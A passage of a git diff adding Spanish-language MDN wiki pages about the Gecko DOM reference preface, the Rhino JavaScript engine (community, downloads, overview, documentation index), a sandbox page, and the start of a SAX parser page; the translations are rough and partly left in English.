+<p>Gecko, la parte del programa en estos navegadores que se ocupa del análisis del HTML, de la disposición de las páginas, del modelo de objeto del documento, e incluso de la representación de la interfaz de aplicación entera, es una rápida, máquina cumplidora de los estándares de presentación que ejecutar los estándares del modelo de objeto del navegador (por ejemplo, <a href="es/DOM/window">ventana - <code>window</code></a>) del W3C DOM y del parecido DOM (pero no estándar) en el contexto de las páginas Web y la interfaz de aplicación (o<em>chrome</em>) del navegador.</p>
+
+<p>Aunque la interfaz de aplicación y el contenido exhibido por el navegador son diferentes en muchos puntos, el DOM los expone uniformemente como una jerarquía de nodos. <span class="comment">(commenting this incomplete sentence out for now...) The tree structure of the DOM (which in its application to the user</span></p>
+
+<h3 id="Sintaxis_del_API" name="Sintaxis_del_API">Sintaxis del API</h3>
+
+<p>Cada descripción en la referencia API incluye la sintaxis, los parámetros de entrada y salida (donde el tipo de retorno es agarrado), un ejemplo, todas las notas adicionales y un enlace a la especificación apropiada.</p>
+
+<p>Típicamente, las propiedades de sólo lectura tienen una simple línea de sintaxis, porque es posible leerlas pero imposible modificarlas. Por ejemplo, la propiedad de sólo lectura <code>availHeight</code> del objeto <code>screen</code> incluye la información siguiente:</p>
+
+<div></div>
+
+<p>Eso significa que sólo se puede utilizar la propiedad a la derecha de la declaración. En el caso de propiedades de lectura/escritura (posibilidad de modificación) se puede asignar un valor a la propiedad, como se ilustra en el siguiente ejemplo de sintaxis:</p>
+
+<div></div>
+
+<p>En general, el objeto cuyo miembro se está describiendo se pone en la declaración con un sólo tipo de dato:</p>
+
+<ul>
+ <li><code>element</code> para todos los elementos.</li>
+ <li><code>document</code> para el documento entero.</li>
+ <li><code>table</code> para una tabla, etc.</li>
+ <li>Para más información sobre la: <a href="es/Referencia_Gecko_del_DOM/Introducci%c3%b3n#Importancia_de_los_tipos_de_datos">Importancia de los tipos de datos</a>, lea este artículo.</li>
+</ul>
+
+<h3 id="Utilizaci.C3.B3n_de_ejemplos" name="Utilizaci.C3.B3n_de_ejemplos">Utilización de ejemplos</h3>
+
+<p>Varios ejemplos en esta referencia son archivos completos que se pueden ejecutar copiándolos y pegándolos dentro de un nuevo archivo y abriéndolo en un navegador. Otros son trozos de código que se pueden ejecutar poniéndolos en las funciones repeticón de llamada (<code>callback</code>) de JavaScript. Por ejemplo, la propiedad de <a href="es/DOM/window.document">window.document</a> se puede probar dentro de la siguiente función, la cual es llamada por el botón acompañante:</p>
+
+<pre>&lt;html&gt;
+
+&lt;script&gt;
+function testWinDoc() {
+
+  doc= window.document;
+
+  alert(doc.title);
+
+}
+&lt;/script&gt;
+
+&lt;button onclick="testWinDoc();"&gt;Prueba la propiedad del documento&lt;/button&gt;
+
+&lt;/html&gt;
+</pre>
+
+<p>Funciones y páginas similares pueden ser creadas para todos los miembros de objeto que no hayan sido ya preparados para su uso directo. Ver la parte <a href="es/Referencia_DOM_de_Gecko/Introducci%c3%b3n#Probando_el_API_del_DOM">Probando el API del DOM</a> en la introducción para una "prueba pesada" que permite probar varios API a la vez.</p>
+
+<p>{{ languages( { "en": "en/Gecko_DOM_Reference/Preface", "fr": "fr/R\u00e9f\u00e9rence_du_DOM_Gecko/Pr\u00e9face", "ja": "ja/Gecko_DOM_Reference/Preface", "ko": "ko/Gecko_DOM_Reference/Preface", "pl": "pl/Dokumentacja_Gecko_DOM/Przedmowa", "zh-cn": "cn/Gecko_DOM_\u53c2\u8003/Preface" } ) }}</p>
diff --git a/files/es/rhino/comunidad/index.html b/files/es/rhino/comunidad/index.html
new file mode 100644
index 0000000000..6b8eb552f7
--- /dev/null
+++ b/files/es/rhino/comunidad/index.html
@@ -0,0 +1,13 @@
+---
+title: Comunidad Rhino
+slug: Rhino/Comunidad
+translation_of: Mozilla/Projects/Rhino/Community
+---
+<p>¿Tiene alguna pregunta que no encuentra respuesta en la <a href="/es/docs/Rhino_documentacon" title="es/Rhino_documentation">documentación Rhino</a>? Estos son algunos recursos adicionales para su ayuda:</p>
+<h4 id="Newsgroup_and_Mail_Gateway" name="Newsgroup_and_Mail_Gateway">Lista de Correo</h4>
+<p>En diciembre de 2010, hay una nueva <a class="external" href="http://groups.google.com/group/mozilla-rhino" title="http://groups.google.com/group/mozilla-rhino">Rhino lista de correo alojada en Grupos de Google</a>.</p>
+<p>El antiguo grupo de noticias <a class="link-news" href="news://news.mozilla.org/mozilla.dev.tech.js-engine.rhino">mozilla.dev.tech.js-engine.rhino</a> sufrió un ataque de spam en el verano de 2010 después de lo cual se hizo prácticamente imposible para publicar nuevos mensajes en la misma. Para ver los mensajes archivados en el antiguo grupo de noticias, prueba el  <a class="external" href="http://groups.google.com/group/mozilla.dev.tech.js-engine.rhino/topics">Grupo Google para esto</a> u otros servicios de grupos de noticias.</p>
+<p>Los <a class="link-news" href="news://news.mozilla.org/mozilla.dev.tech.js-engine">mozilla.dev.tech.js-engine</a> Grupos de noticias responde a preguntas sobre la aplicación C de JavaScript, y también se utilizan para responder a preguntas sobre Rhino hasta el 27 de septiembre de 2007. Para ver los mensajes archivados anteriores al 27 de septiembre de 2007, trate <a class="external" href="http://groups.google.com/group/mozilla.dev.tech.js-engine/topics">Grupo Google para el anterior grupo de noticias.</a></p>
+<h4 id="Bug_System" name="Bug_System">Sistema de errores</h4>
+<p>Utilice <a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Rhino">Bugzilla</a> para inroducir fallos en contra de Rhino. Tenga en cuenta que Rhino tiene u propia categoría de producto.</p>
+<p>{{ languages( { "ja": "ja/Rhino_help" } ) }}</p>
diff --git a/files/es/rhino/descarga_rhino/index.html b/files/es/rhino/descarga_rhino/index.html
new file mode 100644
index 0000000000..dc0ca60106
--- /dev/null
+++ b/files/es/rhino/descarga_rhino/index.html
@@ -0,0 +1,106 @@
+---
+title: Descarga Rhino
+slug: Rhino/Descarga_Rhino
+translation_of: Mozilla/Projects/Rhino/Download_Rhino
+---
+<p>Rhino está disponible para descargar tanto en código fuente como en su forma compilada.</p>
+
+<h2 id="Binarios">Binarios</h2>
+
+<p>Rhino 1.7R4 es la versión más reciente calificada.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Publicación</th>
+   <th scope="col">Fecha de Publicación</th>
+   <th scope="col">Notas de la versión</th>
+   <th scope="col">Enlace de descarga</th>
+  </tr>
+  <tr>
+   <td>Rhino 1.7R4</td>
+   <td>2012-06-18</td>
+   <td><a href="/en/New_in_Rhino_1.7R4" title="En/New_in_Rhino_1.7R4">Nuevo en Rhino 1.7R4</a></td>
+   <td><a class="link-https" href="https://github.com/downloads/mozilla/rhino/rhino1_7R4.zip" title="https://github.com/downloads/mozilla/rhino/rhino1_7R4.zip">rhino1_7R4.zip</a></td>
+  </tr>
+  <tr>
+   <td>Rhino 1.7R5</td>
+   <td>2015-01-29</td>
+   <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7R5_RELEASE">Notas de la versión</a></td>
+   <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7R5_RELEASE/rhino1_7R5.zip">rhino1_7R5.zip</a></td>
+  </tr>
+  <tr>
+   <td>Rhino 1.7.6</td>
+   <td>2015-04-15</td>
+   <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_6_RELEASE">Notas de la versión</a></td>
+   <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_6_RELEASE/rhino1.7.6.zip">rhino1.7.6.zip</a></td>
+  </tr>
+  <tr>
+   <td>Rhino 1.7.7</td>
+   <td>2015-06-17</td>
+   <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_7_RELEASE">Notas de la versión</a></td>
+   <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_7_RELEASE/rhino1.7.7.zip">rhino1.7.7.zip</a></td>
+  </tr>
+  <tr>
+   <td>Rhino 1.7.7.1</td>
+   <td>2016-02-01</td>
+   <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_7_1_RELEASE">Notas de la versión</a></td>
+   <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_7_1_RELEASE/rhino-1.7.7.1.zip">rhino1.7.7.1.zip </a></td>
+  </tr>
+  <tr>
+   <td>Rhino 1.7.7.2</td>
+   <td>2017-08-24</td>
+   <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_7_2_Release">Notas de la versión</a></td>
+   <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_7_2_Release/rhino-1.7.7.2.zip">rhino1.7.7.2.zip </a></td>
+  </tr>
+  <tr>
+   <td>Rhino 1.7.8</td>
+   <td>2018-01-22</td>
+   <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_8_Release">Notas de la versión</a></td>
+   <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_8_Release/rhino-1.7.8.zip">rhino1.7.8.zip</a></td>
+  </tr>
+  <tr>
+   <td>Rhino 1.7.9</td>
+   <td>2018-03-15</td>
+   <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_9_Release">Notas de la versión</a></td>
+   <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_9_Release/rhino-1.7.9.zip">rhino1.7.9.zip</a></td>
+  </tr>
+  <tr>
+   <td>Rhino 1.7.10</td>
+   <td>2018-04-09</td>
+   <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_10_Release">Notas de la versión</a></td>
+   <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_10_Release/rhino-1.7.10.zip">rhino1.7.10.zip</a></td>
+  </tr>
+  <tr>
+   <td>Rhino 1.7.11</td>
+   <td>2019-05-30</td>
+   <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_11_Release">Notas de la versión</a></td>
+   <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_11_Release/rhino-1.7.11.zip">rhino1.7.11.zip</a></td>
+  </tr>
+  <tr>
+   <td>Rhino 1.7.12</td>
+   <td>2020-01-13</td>
+   <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_12_Release">Notas de la versión</a></td>
+   <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_12_Release/rhino-1.7.12.zip">rhino1.7.12.zip</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Para descargar las versiones anteriores de Rhino, consulte el <a class="external" href="/en/docs/Rhino_downloads_archive" title="en/docs/Rhino_downloads_archive">archivo de descargas de Rhino.</a></p>
+
+<h2 id="Licencia">Licencia</h2>
+
+<p>Rhino es de código abierto. Apartir de la versión Rhino 1.7R4  está disponible bajo <a class="external" href="http://www.mozilla.org/MPL/">MPL</a> 2.0.</p>
+
+<p>Las versiones anteriores fueron liberadas bajo licencia MPL 1.1/GPL 2.0.</p>
+
+<p>Vea la  <a href="/en/Rhino/License" title="en/Rhino license">licencia de Rhino</a> para obtener más información.</p>
+
+<h2 id="Fuente">Fuente</h2>
+
+<p>Además de obtener la fuente en los archivos zip anteriores, el código fuente de Rhino se puede encontrar en github en: <a class="link-https" href="https://github.com/mozilla/rhino"> https://github.com/mozilla/rhino</a>. Para obtener el código fuente, utilice el comando:</p>
+
+<pre class="code">git clone https://github.com/mozilla/rhino.git
+</pre>
+
+<p>Rhino utiliza <a class="ex-ref external" href="http://ant.apache.org/">Ant</a> como su sistema de compilación. Ejecute el comando <code>ant</code> en el directorio principal de la distribución de Rhino y debe ver la lista de destinos de generación disponible.</p>
diff --git a/files/es/rhino/index.html b/files/es/rhino/index.html
new file mode 100644
index 0000000000..f4a3ae69b0
--- /dev/null
+++ b/files/es/rhino/index.html
@@ -0,0 +1,16 @@
+---
+title: Rhino
+slug: Rhino
+tags:
+  - bug-840092
+translation_of: Mozilla/Projects/Rhino
+---
+<p><img alt="Image:rhino.jpg" class="internal" src="/@api/deki/files/832/=Rhino.jpg"></p>
+<p><strong>Rhino</strong> es una implementación de código abierto de una máquina virtual de  <a href="/es/docs/JavaScript" title="es/JavaScript">JavaScript</a> escrita enteramente en Java. Generalmente se integra en aplicaciones Java para proporcionar secuencias de comandos (scripting) a los usuarios finales. Se integra en J2SE 6 como un motor de secuencia de comandos de Java por omisión.</p>
+<h4 id="Rhino_downloads" name="Rhino_downloads">Descarga Rhino</h4>
+<p>¿Cómo <a class="internal" href="/es/docs/Rhino/Descarga_Rhino" title="es/RhinoDownload"><span class="short_text" id="result_box" lang="es"><span class="hps">conseguir</span> <span class="hps">los fuentes y</span> <span class="hps">los binarios?</span></span></a></p>
+<h4 id="Rhino_documentation" name="Rhino_documentation">Documentación de Rhino</h4>
+<p><a href="/es/docs/Rhino_documentacon" title="es/Rhino_documentation">Información sobre Rhino</a> para los escribir scripts y empotrarlo en programas.</p>
+<h4 id="Rhino_help" name="Rhino_help">Ayuda de Rhino</h4>
+<p>Aquí hay <a href="/es/docs/Rhino/Comunidad" title="es/Rhino/Community">algunos recursos</a> si te atascas.</p>
+<p>{{ languages( { "ja": "ja/Rhino" } ) }}</p>
diff --git a/files/es/rhino/resumen/index.html b/files/es/rhino/resumen/index.html
new file mode 100644
index 0000000000..bda616d66a
--- /dev/null
+++ b/files/es/rhino/resumen/index.html
@@ -0,0 +1,45 @@
+---
+title: Resumen de Rhino
+slug: Rhino/Resumen
+translation_of: Mozilla/Projects/Rhino/Overview
+---
+<h3 id="Introduction" name="Introduction">Introducción</h3>
+<p>La mayoría de las personas que han utilizado <a href="/en/JavaScript" title="en/JavaScript">JavaScript</a> antes lo han hecho añadiendo las secuencias de comandos <a href="/en/HTML" title="en/HTML">HTML</a> a sus páginas web. Sin embargo, Rhino es una implementación de sólo el núcleo del lenguaje y no contiene objetos o métodos para manipular documentos HTML.</p>
+<p>Rhino incluye</p>
+<ul>
+  <li>Todas las características de <a href="/en/New_in_JavaScript_1.7" title="en/New_in_JavaScript_1.7">JavaScript 1.7</a></li>
+  <li>Permite secuencia de comandos directos para Java</li>
+  <li><a href="/en/Rhino/Shell" title="en/Rhino/Shell">Una consola JavaScript</a> para la ejecución de los scripts de JavaScript</li>
+  <li><a href="/en/Rhino/JavaScript_Compiler" title="en/Rhino/JavaScript_Compiler">Un compilador JavaScript</a> para transformar archivos de código fuente JavaScript en archivos Java class</li>
+  <li><a class="external" href="http://www.mozilla.org/rhino/debugger.html">Un depurador JavaScript</a> para scripts ejecutados con Rhino</li>
+</ul>
+<h3 id="Language" name="Language">Lenguaje</h3>
+<p>El lenguaje JavaScript en sí esta estandarizado por la norma <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">Standard ECMA-262 ECMAScript: A general purpose, cross-platform programming language</a>. Rhino 1.3 y superiores se ajustan a la Versión 3 de la Norma.</p>
+<p>Rhino 1.6 y superiores implementan <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-357.htm">ECMA-357 ECMAScript for XML (E4X)</a>. Consulte las especificaciones para obtener más información sobre la norma, y vea <a class="external" href="http://www.mozilla.org/rhino/rhino16R1.html#E4X">Versión de Rhino 1.6R1 notas de versión </a>para obtener mas información sobre la implementación de Rhino.</p>
+<p>Además, Rhino ha implementado JavaAdapters, que le permite implementar JavaScript en cualquier interfaz Java o ampliar una clase Java con un objeto JavaScript. Vea el ejemplo <code class="filename">enum.js</code> para obtener mas información.</p>
+<p>Numerosos libros y tutoriales de JavaScript están disponibles. <a class="external" href="http://www.oreilly.com/catalog/jscript5/">JavaScript: The Definitive Guide</a> es recomendable, y contiene un capítulo sobre Rhino.</p>
+<h3 id="Deprecated_Language_Features" name="Deprecated_Language_Features">Características del Lenguaje Obsoletas</h3>
+<p>Varias características del lenguaje introducidas en JavaScript 1.2 se consideran obsoletas. Estas características permiten la "reflexión computacional": es decir, la capacidad de un script para determinar e influir en los aspectos de la forma que se evalúa. Estas características no suelen ser útiles, sin embargo, imponen restricciones significativas en las  implementaciones que dificultan o impiden la optimización.  Las características en desuso son<span style="line-height: inherit;"> </span>the<span style="line-height: inherit;"> </span><code style="font-size: 14px; line-height: inherit;">__proto__</code><span style="line-height: inherit;"> </span>and<span style="line-height: inherit;"> </span><code style="font-size: 14px; line-height: inherit;">__parent__</code><span style="line-height: inherit;"> </span>properties<span style="line-height: inherit;">, y los constructores</span><span style="line-height: inherit;"> </span><code style="font-size: 14px; line-height: inherit;">With</code><span style="line-height: inherit;">, </span><code style="font-size: 14px; line-height: inherit;">Closure</code><span style="line-height: inherit;">, y</span><span style="line-height: inherit;"> </span><code style="font-size: 14px; line-height: inherit;">Call</code><span style="line-height: inherit;">. Si pretende invocar estos constructores con la </span>versión<span style="line-height: inherit;"> 1.4 se producirá un error</span><span style="line-height: inherit;">. para otras versiones, se genera una advertencia.</span></p>
+<h3 id="Internationalization" name="Internationalization">Internacionalización</h3>
+<p>Los mensajes reportados por el motor de JavaScript por defecto son recuperados desde el archivo de propiedad <code class="filename">org/mozilla/javascript/resources/Messages.properties</code>. Si existen otras propiedades de los archivos con las extensiones correspondientes a la localización actual, se van a utilizar en su lugar.</p>
+<h3 id="JavaScript_Language_Versions" name="JavaScript_Language_Versions">Versiones del Lenguaje JavaScript</h3>
+<p>Algunos comportamientos en el motor JavaScript depende de la versión del lenguaje. En la incorporación del navegador, la versión de idioma se selcciona mediante el atributo <code>LANGUAGE</code> de la etiqueta <code>SCRIPT</code> con los valores tales como <code>"JavaScript1.2"</code>.</p>
+<p>Versión 1.3 y superiores son compatibles con <a href="http://es.wikipedia.org/wiki/Ecma_International" title="http://es.wikipedia.org/wiki/Ecma_International">ECMA</a>.</p>
+<h4 id="Operators_.3D.3D_and_.21.3D" name="Operators_.3D.3D_and_.21.3D">Los Operadores <code>==</code> and <code>!=</code></h4>
+<p>La versión 1.2 sólo utiliza la igualdad estricta para los operadores <code>==</code> y <code>!=</code>. En la versión 1.3 y superiores, <code>==</code> y <code>!=</code> tienen el mismo significado que ECMA. Los operadores <code>===</code> y <code>!==</code> se utiliza estrictamente en todas las versiones.</p>
+<h4 id="ToBoolean" name="ToBoolean">Para Booleano</h4>
+<p><code>Booleano(new Boolean(false))</code> es falsa para todas las versiones anteriores a 1.3. Es <em>true </em>( y por lo tanto compatible con ECMA) para la versión 1.3 y superiores.</p>
+<h4 id="Array.prototype.toString_and_Object.prototype.toString" name="Array.prototype.toString_and_Object.prototype.toString"><code>Array.prototype.toString y Object.prototype.toString</code></h4>
+<p>La versión 1.2 solo retorna array o objetos de notación literal (<code>"{{ mediawiki.external(1,2,3) }}"</code> ó <code>"{a:1, b:2}"</code> por ejemplo). En la  versión 1.3 y superiores esta funciones es compatible con ECMA.</p>
+<h4 id="Array_constructor" name="Array_constructor"><code>Constructores de Array</code></h4>
+<p><code>Array(<var>i</var>)</code> para un argumento de número i construye una matriz con un solo elemento igual a i solo para la versión 1.2. Lo contrario si se utiliza la versión ECMA compatible ( Una matriz se construye sin elementos pero con propiedad de longitud igual a i).</p>
+<h4 id="String.prototype.substring" name="String.prototype.substring"><code>String.prototype.substring</code></h4>
+<p>Solo para la versión 1.2, los dos argumentos no se cambian si el primer argumento es menor que el segundo. Todas las demas verciones son compatibles con ECMA.</p>
+<h4 id="String.prototype.split" name="String.prototype.split"><code>String.prototype.split</code></h4>
+<p>Solo para la versión 1.2, realiza la division de Perl4 cuando se les da un caracter de espacio como argumento (salta principalmente espacios en blanco, y se divide el espacio en blanco). Todas las demás versiones se divide en el carácter de espacio adecuado segín lo especificado por ECMA.</p>
+<h3 id="Security" name="Security">Seguridad</h3>
+<p>Las caracteristicas de seguridad de Rhino proporcionan la capasidad de rastrear el origen de una parte del código ( y cualquier pedazo de código que se pueda generar). Estas caracteristicas permiten la implementación de una politica de seguridad tradicional basada en URL para JavaScript como en el Navegador Netscape. Integrar esa confianza en el código JavaScript que se ejecuta puede ignorar las caracteristicas de seguridad.</p>
+<p>Insertar código JavaScript que no es de confianza debe hacer dos cosas para habilitar las funciones de seguridad. En primer lugar, todos los contesxtos que se crean deben ser suministrados como instancia de un objeto que implementa la interfaz SecuritySupport. Esto proporcionará la funcionalidad Rhino de apoyo que necesita para realizar tareas reliacionadas con la seguridad.</p>
+<p>Second, the value of the property <code>security.requireSecurityDomain</code> should be changed to <code>true</code> in the resource bundle <code>org.mozilla.javascript.resources.Security</code>. The value of this property can be determined at runtime by calling the <code>isSecurityDomainRequired</code> method of <code>Context</code>. Setting this property to <code>true</code> requires that any calls that compile or evaluate JavaScript must supply a security domain object of any object type that will be used to identify JavaScript code. In a typical client embedding, this object might be a string with the URL of the server that supplied the script, or an object that contains a representation of the signers of a piece of code for certificate-based security policies.</p>
+<p>When JavaScript code attempts a restricted action, the security domain can be retrieved in the following manner. The class context should be obtained from the security manager (see <code>java.lang.SecurityManager.getClassContext()</code>). Then, the class of the code that called to request the restricted action can be obtained by looking an appropriate index into the class context array. If the caller is JavaScript the class obtained may be one of two types. First, it may be the class of the interpreter if interpretive mode is in effect. Second, it may be a generated class if classfile generation is supported. An embedding can distinguish the two cases by calling <code>isInterpreterClass()</code> in the <code>Context</code> class. If it is the interpreter class, call the <code>getInterpreterSecurityDomain()</code> method of <code>Context</code> to obtain the security domain of the currently executing interpreted script or function. Otherwise, it must be a generated class, and an embedding can call <code>getSecurityDomain()</code> in the class implementing <code>SecuritySupport</code>. When the class was defined and loaded, the appropriate security domain was associated with it, and can be retrieved by calling this method. Once the security domain has been determined, an embedding can perform whatever checks are appropriate to determine whether access should be allowed.</p>
+<p>{{ languages( { "ja": "ja/Rhino_Overview" } ) }}</p>
diff --git a/files/es/rhino_documentacon/index.html b/files/es/rhino_documentacon/index.html
new file mode 100644
index 0000000000..701fbfd67f
--- /dev/null
+++ b/files/es/rhino_documentacon/index.html
@@ -0,0 +1,115 @@
+---
+title: Documentación de Rhino
+slug: Rhino_documentacon
+translation_of: Mozilla/Projects/Rhino/Documentation
+---
+<p>Información sobre Rhino para script writers y embedders.</p>
+<h2 id="General" name="General">General</h2>
+<dl>
+  <dt>
+    <a href="/en-US/docs/Rhino/Overview" title="/en-US/Rhino_Overview">Resumen</a></dt>
+  <dd>
+    Una visión general del lenguaje JavaScript y de Rhino.</dd>
+  <dt>
+    <a href="/en-US/docs/Rhino/License" title="Rhino_License">Licencia</a></dt>
+  <dd>
+    Información de la licencia de Rhino.</dd>
+  <dt>
+    <a href="/en-US/docs/Rhino/Requirements_and_Limitations" title="Rhino_Requirements_and_Limitations">Requerimientos y limitaciones</a></dt>
+  <dd>
+    Lo que usted debe tener para ejecutar Rhino y lo que no puede hacer con Rhino.</dd>
+  <dt>
+    <a href="/en-US/docs/Rhino/Downloads_archive" title="Rhino_downloads_archive">Descargas de archivos</a></dt>
+  <dd>
+    Incluye notas de versiones para emisiones de Rhino.</dd>
+  <dt>
+    <a href="/en-US/docs/Rhino/Optimization" title="Rhino_Optimization">Optimización</a></dt>
+  <dd>
+    Detalles sobre los distintos niveles de optimización.</dd>
+  <dt>
+    <a href="/en-US/docs/Rhino/FAQ" title="Rhino_FAQ">Preguntas frecuentes</a></dt>
+  <dd>
+    Respuestas a las preguntas más frecuentes acerca de Rhino.</dd>
+  <dt>
+    <a class="external" href="/en-US/docs/Rhino/History">Historia de Rhino</a></dt>
+  <dd>
+    Historia de la bestia.</dd>
+</dl>
+<h2 id="Writing_Scripts" name="Writing_Scripts">Escritura de Scripts</h2>
+<dl>
+  <dt>
+    <a class="internal" href="/en-US/docs/Scripting_Java" title="Scripting Java">Secuencia de comandos Java</a></dt>
+  <dd>
+    Cómo usar Rhino para escritura en clases Java.</dd>
+  <dt>
+    <a class="external" href="http://www.mozilla.org/rhino/scriptjava.html">Secuencia de comandos Java</a></dt>
+  <dd>
+    Cómo usar Rhino para escritura en clases Java. (forma antigua).</dd>
+  <dt>
+    <a class="external" href="/en-US/docs/Rhino/Performance">Secuencias de rendimiento</a></dt>
+  <dd>
+    Algunos consejos sobre cómo escribir código JavaScript más rápido.</dd>
+</dl>
+<h2 id="JavaScript_Tools" name="JavaScript_Tools">JavaScript Herramientas</h2>
+<dl>
+  <dt>
+    <a href="/en-US/docs/Rhino/Shell" title="Rhino_Shell">Consola Rhino</a></dt>
+  <dd>
+    Interactivo o ejecución por lotes de comandos.</dd>
+  <dt>
+    <a class="external" href="/en-US/docs/Rhino/Debugger">Depurador JavaScript</a></dt>
+  <dd>
+    Depurar secuencias de comandos que se ejecutan en Rhino.</dd>
+  <dt>
+    <a href="/en-US/docs/Rhino/JavaScript_Compiler" title="Rhino_JavaScript_Compiler">Compilador JavaScript</a></dt>
+  <dd>
+    Compilación de comandos en archivos Java class.</dd>
+  <dt>
+    <a href="/en-US/docs/Running_the_Rhino_tests" title="Running_the_Rhino_tests">Ejecución de las pruebas de Rhino</a></dt>
+  <dd>
+    Ejecutar serie de pruebas JavaScript con Rhino.</dd>
+</dl>
+<h2 id="Embedding_Rhino" name="Embedding_Rhino">Integración de Rhino</h2>
+<dl>
+  <dt>
+    <a class="external" href="/en-US/docs/Rhino/Embedding_tutorial">Tutorial de integración</a></dt>
+  <dd>
+    Un breve tutorial sobre cómo integrar Rhino en su aplicación.</dd>
+  <dt>
+    <a class="external" href="http://www.mozilla.org/rhino/apidocs/">Referencia del API javadoc</a> (¿Enlace roto? <a href="http://www.jarvana.com/jarvana/view/org/mozilla/rhino/1.7R3/rhino-1.7R3-javadoc.jar!/index.html" title="http://www.jarvana.com/jarvana/view/org/mozilla/rhino/1.7R3/rhino-1.7R3-javadoc.jar!/index.html">Pruebe esté en Jarvana.</a>)</dt>
+  <dd>
+    un bosquejo de la interfaz de programación de Rhino (tip only).</dd>
+  <dt>
+    <a class="external" href="/en-US/docs/Rhino/Scopes_and_Contexts" title="https://developer.mozilla.org/editor/fckeditor/core/editor/en-US/docs/Rhino_documentation/Scopes_and_Contexts">Ámbitos y Contextos</a></dt>
+  <dd>
+    Describe cómo utilizar los ámbitos y contextos para el mejor rendimiento y la flexibilidad, con la mirada puesta en entornos multiproceso.</dd>
+  <dt>
+    <a class="external" href="/en-US/docs/Rhino/Serialization">Serialización</a></dt>
+  <dd>
+    Como realizar series de objetos JavaScript y funciones en Rhino.</dd>
+  <dt>
+    <a class="external" href="/en-US/docs/Rhino/Runtime">Tiempo de ejecución</a></dt>
+  <dd>
+    Una breve descripción en tiempo de ejecución de JavaScript.</dd>
+  <dt>
+    <a class="external" href="/en-US/docs/Rhino/Footprint">Pequeña Huella</a></dt>
+  <dd>
+    Consejos para las personas interesadas en incrustaciones de pequeñas dimensiones.</dd>
+  <dt>
+    <a class="external" href="/en-US/docs/Rhino/Examples">Ejemplos</a></dt>
+  <dd>
+    Una serie de ejemplos que muestran cómo controlar el motor de JavaScript y crear objetos huésped en JavaScript.</dd>
+  <dt>
+    <a class="external" href="/en-US/docs/Rhino/BSF">Usando Rhino con Bean Scripting Framework (BSF)</a></dt>
+  <dd>
+    Cómo usar Rhino con aplicaciones que soportan BSF (Bean Scripting Framework) del proyecto Apache Jakarta.</dd>
+</dl>
+<h2 id="External_references" name="External_references">Referencias externas</h2>
+<dl>
+  <dt>
+    <a class="external" href="http://www.ociweb.com/jnb/archive/jnbMar2001.html">Lenguajes de escritura para Java</a></dt>
+  <dd>
+    un artículo de comparación y contraste de Rhino y Jython.</dd>
+</dl>
+<h2 id="Rhino_contributors" name="Rhino_contributors">Contribuyentes Rhino</h2>
+<p>¿Interesado en contribuir en Rhino? Echa un vistazo a la <a href="/en-US/docs/Rhino_Wish_List" title="Rhino_Wish_List">Lista de deseos Rhino</a>.</p>
diff --git a/files/es/sandbox/index.html b/files/es/sandbox/index.html
new file mode 100644
index 0000000000..e7614ae246
--- /dev/null
+++ b/files/es/sandbox/index.html
@@ -0,0 +1,29 @@
+---
+title: Sandbox (Página de pruebas)
+slug: Sandbox
+tags:
+  - caja-de-arena
+  - demo
+  - sanbox
+  - temporario
+translation_of: Sandbox
+---
+<h1 id="Hello_World" name="Hello_World">Hola Mundo</h1>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;h1&gt;
+
+<p>Hello friends</p>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">h1{
+color:#AAAF;
+}</pre>
+
+<h1 id="Resultado"><strong>Resultado</strong></h1>
+
+<p class="brush: css"></p>
+
+<h1 id="Hello_World_2">Hello World</h1></pre>
diff --git a/files/es/sax/index.html b/files/es/sax/index.html
new file mode 100644
index 0000000000..33cc6fbb9a
--- /dev/null
+++ b/files/es/sax/index.html
@@ -0,0 +1,114 @@
+---
+title: SAX
+slug: SAX
+tags:
+  - Complementos
+  - Todas_las_Categorías
+  - extensiones
+translation_of: Archive/SAX
+---
+<p>
+</p><p><b>SAX</b> (Simple API for XML, API simple para XML) es una API de análisis. SAX fue la primera API para XML ampliamente adoptada en Java y más tarde implementada en muchos otros entornos de programación. A partir de <a href="es/Firefox_2">Firefox 2</a> es posible utilizar los analizadores SAX para aplicaciones y extensiones XUL. Para más información, veáse la <a class="external" href="http://www.saxproject.org/">página de SAX</a>.
+</p><p><br>
+</p>
+<h3 id="Inicio_rápido"> Inicio rápido </h3>
+<p>La funcionalidad de un analizador SAX está disponible a través del componente lector de XML. Para crear uno, utiliza el siguiente trozo de código:
+</p>
+<pre class="eval">var xmlReader = Components.classes["@mozilla.org/saxparser/xmlreader;1"]
+                          .createInstance(Components.interfaces.nsISAXXMLReader);
+</pre>
+<p>Después de que hayas creado un analizador SAX, necesitarás asociar los manejadores de eventos que te interesen y arrancar el proceso de análisis. Todas las funcionalidades están disponible a través de la interfaz <a href="https://dxr.mozilla.org/mozilla-central/source/parser/xml/public/nsISAXXMLReader.idl" rel="custom">nsISAXXMLReader</a>.
+</p><p><br>
+</p>
+<h4 id="Estableciendo_los_manejadores"> Estableciendo los manejadores </h4>
